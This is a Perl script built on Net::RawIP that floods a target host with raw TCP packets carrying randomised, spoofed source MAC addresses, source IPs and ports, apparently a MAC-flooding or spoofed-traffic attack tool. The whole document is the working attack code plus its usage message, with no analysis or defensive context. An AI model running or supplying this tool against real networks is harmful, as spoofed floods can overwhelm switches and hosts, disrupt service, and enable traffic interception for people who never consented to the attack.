require 'getopts.pl';
use Net::RawIP;
Getopts('vrs:e:d:x:y:i:n:');
$a = new Net::RawIP;

die "usage: $0 -d target_host [options]\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1000)\n" unless ($opt_d &&
!($opt_r && $opt_e) );


$opt_i=eth0 unless $opt_i;
$times=0;
$opt_n=1000 unless $opt_n;
$s_host=$opt_s if $opt_s;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;


if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}


for($times=1; $times < $opt_n; $times++) {
$i=0;
$mac="00";

if($opt_r) {
$d_mac="00";

while($i++ < 5) {
$mac=$mac . ":" . int rand 9;
$d_mac=$d_mac . ":" . int rand 9;
$mac=$mac . int rand 9;
$d_mac=$d_mac . int rand 9;
}
print "$d_mac \t$mac\n" if($opt_v);

$a->ethset(source => $mac, dest => $d_mac);
} else {

while($i++ < 5) {
$mac=$mac . ":" . int rand 9;
$mac=$mac . int rand 9;
}
print "$mac\n" if($opt_v);

$a->ethset(source => $mac);
}

$s_host=17000000+int rand 4261000000 unless $opt_s;

$s_port=int rand 65535 unless $opt_x;
$d_port=int rand 65535 unless $opt_y;

$a->set({ip => {saddr => $s_host, daddr => $opt_d},
tcp => {source => $s_port,dest => $d_port}
});

$a->ethsend;
}